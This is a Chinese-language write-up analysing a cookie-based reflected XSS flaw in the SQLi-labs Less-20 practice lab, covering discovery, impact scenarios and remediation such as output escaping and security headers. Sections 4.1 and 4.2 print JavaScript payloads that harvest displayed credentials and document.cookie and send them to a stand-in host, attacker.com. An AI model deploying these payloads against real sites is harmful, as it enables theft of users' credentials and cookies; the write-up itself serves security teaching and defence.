SQLi-labs 不只是 SQL 注入:Cookie 反射型 XSS 漏洞深度分析
目录
- SQLi-labs 不只是 SQL 注入:Cookie 反射型 XSS 漏洞深度分析
- 前言
- 1. 环境信息
- 2. 漏洞成因分析
- 2.1 页面逻辑
- 2.2 关键代码逻辑(推测)
- 3. 漏洞发现过程
- 3.1 基线请求
- 3.2 XSS 探测
- 3.3 响应分析
- 4. 利用场景与危害评估
- 4.1 为什么 Cookie XSS 值得重视?
- 场景 1:Cookie 注入攻击
- 场景 2:结合 Cookie 无 HttpOnly 的 Cookie 窃取
- 场景 3:结合页面明文密码泄露
- 场景 4:结合 Clickjacking(无 X-Frame-Options)
- 4.2 完整攻击链 PoC
- 5. 与 SQL 注入的对比
- 6. 修复建议
- 6.1 根本修复:输出转义
- 6.2 纵深防御
- 6.3 安全响应头配置
- 7. 总结
前言
SQLi-labs 是一套经典的 SQL 注入练习靶场,其中Less-20关卡的标题是“Cookie Injection - Error Based - String”,几乎所有教程都聚焦于 Cookie 参数的 SQL 注入利用。然而,在对http://192.168.100.179:8080/Less-20/进行渗透测试时,我们发现这个页面还存在一个容易被忽视的反射型 XSS(跨站脚本攻击)漏洞——攻击向量同样是 Cookie。
本文将详细分析这个 XSS 漏洞的成因、利用过程、危害评估以及修复建议。
1. 环境信息
| 项目 | 详情 |
|---|---|
| 靶场 | SQLi-labs Less-20 |
| Web 服务器 | Apache/2.4.7 (Ubuntu) |
| 后端语言 | PHP/5.5.9-1ubuntu4.13 |
| 数据库 | MySQL 5.5.44 |
| 漏洞页面 | /Less-20/index.php |
| 漏洞类型 | 反射型 XSS(Reflected XSS) |
| 攻击向量 | Cookieuname |
2. 漏洞成因分析
2.1 页面逻辑
Less-20 的工作流程如下:
- 用户通过登录表单提交
uname和passwd - 服务端验证通过后,将用户名写入 Cookie:
Set-Cookie: uname=<username> - 后续访问时,页面读取 Cookie 中的
uname值,直接拼接到 HTML 输出中,未经任何转义或过滤
2.2 关键代码逻辑(推测)
<?php// 读取 cookieif(isset($_COOKIE['uname'])){$cookie_value=$_COOKIE['uname'];// SQL 查询(存在 SQL 注入,本文不展开)$sql="SELECT * FROM users WHERE username='$cookie_value' LIMIT 0,1";$result=mysql_query($sql);$row=mysql_fetch_array($result);echo"YOUR COOKIE : uname = ".$cookie_value;// 危险:未转义echo"Your Login name:".$row['username'];echo"Your Password:".$row['password'];}?>根本原因:服务端信任了客户端可控的 Cookie 值,并在输出时没有进行 HTML 实体编码(如htmlspecialchars()),导致攻击者注入的脚本代码被浏览器当作页面的一部分执行。
3. 漏洞发现过程
3.1 基线请求
首先,正常使用admin账号登录,观察 Cookie 设置和页面回显:
# POST 登录POST /Less-20/ HTTP/1.1 Content-Type: application/x-www-form-urlencodeduname=admin&passwd=admin&submit=Submit响应头:
Set-Cookie: uname=admin; expires=Tue, 09-Jun-2026 02:26:00 GMT; Max-Age=3600页面回显:
YOUR COOKIE : uname = admin and expires: Tue 09 Jun 2026 - 02:26:00 Your Login name: admin Your Password: admin可以看到,Cookie 值admin被原样输出到 HTML 页面中。
3.2 XSS 探测
既然 Cookie 值被原样输出,我们尝试注入 HTML/JS 代码。手动设置 Cookie 为 XSS payload:
Cookie: uname=<script>alert('xss')</script>发送请求:
python http_test.py\--url"http://192.168.100.179:8080/Less-20/index.php"\--methodGET\--cookies"uname=<script>alert('xss')</script>"\--show-summary --response-max-lines303.3 响应分析
页面返回的 HTML 中,我们的 payload被原样嵌入:
<fontcolor="orange"fontsize=5>YOUR COOKIE : uname =<script>alert('xss')</script>and expires: Tue 09 Jun 2026 - 02:26:00<br></font>关键观察:
<script>标签未被转义为<script>- 没有被 WAF 或过滤器拦截
- 没有被 CSP(Content Security Policy)阻止——页面未设置任何 CSP 头
- 没有 X-XSS-Protection 或 X-Content-Type-Options 响应头
当浏览器渲染此页面时,alert('xss')将被执行。
4. 利用场景与危害评估
4.1 为什么 Cookie XSS 值得重视?
很多人认为"XSS 只是弹个窗",但 Cookie 反射型 XSS 有其独特的攻击场景:
场景 1:Cookie 注入攻击
与传统的 URL 参数反射型 XSS 不同,Cookie XSS 不需要受害者点击恶意链接。攻击者可以通过以下方式设置恶意 Cookie:
- 中间人攻击(MITM):在 HTTP(非 HTTPS)环境下,攻击者可以直接注入 Set-Cookie 响应头
- 子域名 Cookie 投毒:如果目标有子域名漏洞,可以设置父域名 Cookie
- CRLF 注入:如果其他接口存在 CRLF 注入,可以注入 Set-Cookie 头
场景 2:结合 Cookie 无 HttpOnly 的 Cookie 窃取
此页面的 Cookie缺少 HttpOnly 标志,意味着 JavaScript 可以通过document.cookie读取 Cookie 值。虽然本例中 Cookie 本身不存储敏感 Session ID,但如果配合其他 Cookie,XSS 可以窃取全部 Cookie。
场景 3:结合页面明文密码泄露
Less-20 页面在认证后会直接显示用户的明文密码:
Your Login name: admin Your Password: adminXSS 可以提取这些信息并发送到攻击者服务器:
<script>// 窃取页面上显示的凭证varbody=document.body.innerHTML;varmatch=body.match(/Your Login name:(.*?)<.*?Your Password:(.*?)</s);if(match){varusername=match[1].trim();varpassword=match[2].trim();newImage().src="http://attacker.com/steal?u="+username+"&p="+password;}</script>场景 4:结合 Clickjacking(无 X-Frame-Options)
页面未设置 X-Frame-Options,可被恶意网站通过<iframe>嵌入。攻击链:
Clickjacking 诱导用户访问嵌入页面 → Cookie 中注入 XSS payload → 用户浏览器执行恶意脚本 → 窃取凭证4.2 完整攻击链 PoC
// 高级 payload:窃取凭证 + 持久化<script>(function(){// 1. 提取页面泄露的用户信息vartext=document.body.innerText;varuser=text.match(/Your Login name:(.+)/);varpass=text.match(/Your Password:(.+)/);varid=text.match(/Your ID:(\d+)/);// 2. 收集所有 Cookievarcookies=document.cookie;// 3. 发送到攻击者服务器vardata={username:user?user[1].trim():'',password:pass?pass[1].trim():'',id:id?id[1]:'',cookies:cookies,url:location.href};newImage().src='http://attacker.com/log?'+Object.keys(data).map(k=>k+'='+encodeURIComponent(data[k])).join('&');})();</script>5. 与 SQL 注入的对比
Less-20 同时存在 SQL 注入和 XSS 两个漏洞,它们共享同一个攻击入口(Cookieuname),但利用方式和影响不同:
| 对比维度 | SQL 注入 | XSS |
|---|---|---|
| 攻击目标 | 数据库 | 用户浏览器 |
| 影响 | 数据泄露、数据篡改 | 用户劫持、凭证窃取 |
| 利用条件 | 仅需访问页面(Cookie 可控) | 需要受害者浏览器渲染注入页面 |
| 检测方式 | 单引号触发 MySQL 报错 | <script>标签原样反射 |
| 危害等级 | 严重(Critical) | 高危(High) |
| 修复方式 | 参数化查询 / 预处理语句 | 输出转义(htmlspecialchars) |
6. 修复建议
6.1 根本修复:输出转义
对所有动态输出内容进行 HTML 实体编码:
<?php// 正确做法:对输出进行转义$cookie_value=htmlspecialchars($_COOKIE['uname'],ENT_QUOTES,'UTF-8');echo"YOUR COOKIE : uname = ".$cookie_value;?>6.2 纵深防御
<?php// 1. 输入验证:Cookie 值只允许合法字符if(!preg_match('/^[a-zA-Z0-9_]+$/',$_COOKIE['uname'])){die('Invalid cookie');}// 2. 输出转义echohtmlspecialchars($cookie_value,ENT_QUOTES,'UTF-8');// 3. 设置安全响应头header('X-XSS-Protection: 1; mode=block');header('X-Content-Type-Options: nosniff');header("Content-Security-Policy: default-src 'self'");// 4. Cookie 安全标志setcookie('uname',$username,['expires'=>time()+3600,'httponly'=>true,// 阻止 JS 访问 Cookie'secure'=>true,// 仅 HTTPS 传输'samesite'=>'Lax'// 防止 CSRF]);?>6.3 安全响应头配置
在 Apache 配置中添加:
Header always set X-Frame-Options "DENY" Header always set X-Content-Type-Options "nosniff" Header always set X-XSS-Protection "1; mode=block" Header always set Content-Security-Policy "default-src 'self'" Header always set Referrer-Policy "strict-origin-when-cross-origin" Header unset X-Powered-By Header unset Server7. 总结
| 漏洞 | 类型 | 严重性 | 修复优先级 |
|---|---|---|---|
| Cookie SQL 注入 | SQLi | Critical | P0 |
| Cookie 反射型 XSS | XSS | High | P1 |
| Cookie 认证绕过 | Auth Bypass | Critical | P0 |
| Cookie 安全标志缺失 | Misconfig | High | P1 |
| 安全响应头缺失 | Misconfig | Medium | P2 |
Less-20 这个页面是一个典型的"一个入口、多个漏洞"的案例。Cookieuname这个单一参数同时存在 SQL 注入和 XSS 两个严重漏洞,根本原因都是对用户输入(Cookie)缺乏验证和转义。
在实际渗透测试中,不要只关注页面的"主题"漏洞(如标题暗示的 SQL 注入),每个可控参数的每种注入类型都值得系统性地测试。
免责声明:本文仅用于安全学习和授权测试,请勿将相关技术用于非法用途。渗透测试前请确保获得书面授权。
关键词:SQLi-labsXSSCookie注入反射型XSSWeb安全渗透测试
相关标签:#Web安全 #XSS #SQL注入 #渗透测试 #SQLi-labs